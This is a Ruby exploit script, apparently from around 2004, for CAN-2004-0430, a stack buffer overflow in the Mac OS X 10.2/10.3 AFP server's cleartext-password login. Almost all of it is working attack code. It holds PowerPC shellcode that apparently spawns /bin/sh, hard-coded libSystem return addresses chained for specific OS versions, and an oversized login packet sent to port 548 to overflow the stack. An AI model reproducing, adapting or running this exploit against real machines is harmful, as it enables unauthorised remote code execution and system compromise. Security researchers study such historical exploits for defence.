#!/usr/bin/env ruby
#
# CAN-2004-0430: MacOS X 10.{2,3} AFP Cleartxt Passwrd Stack Buffer Overflow
#
# This is the second version of this exploit, written around August or 
# September 2004.  This version uses my PowerPC cache-flushing stub to make 
# exploitation 100% reliable despite the PowerPC's separate instruction and 
# data write-back caches.
#
# Dino Dai Zovi <ddz@theta44.org>
#

require 'socket'
require 'dsi'

s = TCPSocket.new(ARGV[0], 548)
dsi = DSI.new(s)
dsi.openSession()

shellcode =
    "\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7d\x68\x02\xa6\x3b\xeb\x01\x70"+
    "\x39\x80\x01\x70\x3b\xdf\xff\x88\x7c\xbe\x29\xae\x3b\xdf\xff\x89"+
    "\x7c\xbe\x29\xae\x3b\xdf\xff\x8a\x7c\xbe\x29\xae\x3b\xdf\xff\x8b"+
    "\x7c\xbe\x29\xae\x38\x6c\xfe\x92\x38\x8c\xfe\x91\x38\xac\xfe\x96"+
    "\x38\x0c\xfe\xf1\x44\xff\xff\x02\x60\x60\x60\x60\x7c\x67\x1b\x78"+
    "\x38\x9f\xff\x84\x38\xac\xfe\xa0\x38\x0c\xfe\xf8\x44\xff\xff\x02"+
    "\x60\x60\x60\x60\x7c\xe3\x3b\x78\x38\x8c\xfe\x91\x38\x0c\xfe\xfa"+
    "\x44\xff\xff\x02\x60\x60\x60\x60\x7c\xe3\x3b\x78\x38\x8c\xfe\x90"+
    "\x38\xac\xfe\x90\x38\x0c\xfe\xae\x44\xff\xff\x02\x60\x60\x60\x60"+
    "\x38\x8c\xfe\x90\x38\x0c\xfe\xea\x44\xff\xff\x02\x60\x60\x60\x60"+
    "\x38\x8c\xfe\x91\x38\x0c\xfe\xea\x44\xff\xff\x02\x60\x60\x60\x60"+
    "\x38\x8c\xfe\x92\x38\x0c\xfe\xea\x44\xff\xff\x02\x60\x60\x60\x60"+
    "\x38\x0c\xfe\x92\x44\xff\xff\x02\x60\x60\x60\x60\x39\x1f\xff\x83"+
    "\x7c\xa8\x29\xae\x38\x7f\xff\x7c\x90\x61\xff\xf8\x90\xa1\xff\xfc"+
    "\x38\x81\xff\xf8\x38\x0c\xfe\xcb\x44\xff\xff\x02\x41\x41\x41\x41"+
    "\x41\x41\x41\x41\x2f\x62\x69\x6e\x2f\x73\x68\x58\xff\x02\x1b\x39"+
    "\x41\x41\x41\x41"

#
# OSX magic return sequence for reliable exploitation
#
# Return into libSystem and bounce around several times to execute a
# system call (flushes cache) and return indirectly into stack
# pointer.
#

# MacOS X 10.3.2 - 10.3.5
r28 = 0x90034d60 # "li r0,0x2f; sc; ... ; blr"
lr  = 0x9008dce0 # "mtspr ctr,r28; bctrl; ...; blr"
r30 = 0x90023590 # "mtspr ctr,r3; bctrl"
ptr = 0x900ca6d8 # "mtspr ctr,r30; addi ...; addi ...; addi r3,r1,0x40"

# MacOS X 10.3.0
#r28 = 0x90034e60
#lr  = 0x9008de20
#r30 = 0x90023690
#ptr = 0x900ca798

osxMagic = [r28, "B" * 20, lr, "C" * 92, r30, "E" * 12, ptr, "F" * 52].
    pack('Na*Na*Na*Na*')

ppcNoop = [0x30800114].pack('N')
ppcTrap = [0x7c842008].pack('N')

#
# Make exploit string:
# [ 136 bytes ] [ lr ] ...
#
# Align [ lr ] with ptr in osxMagic string and paste shellcode after
#
exploitString = "A" * 112 + osxMagic + shellcode

if exploitString.length > 1154
    raise Error
end

fpLoginExt = [0x3f,                   # CommandCode
              0,                      # pad
              0,                      # flags
              6, "AFP3.1",            # AFPVersion
              16, "Cleartxt passwrd", # UAM
              3, 0, "",               # UserNameType, UserName
              3, 0, "",               # PathType, Pathname
              exploitString].    # UserAuthInfo
    pack('CCnCa*Ca*Cna*Cna*a*')

dsi.command(fpLoginExt)

# If we get here, exploit failed
puts "Not vulnerable"

dsi.closeSession()
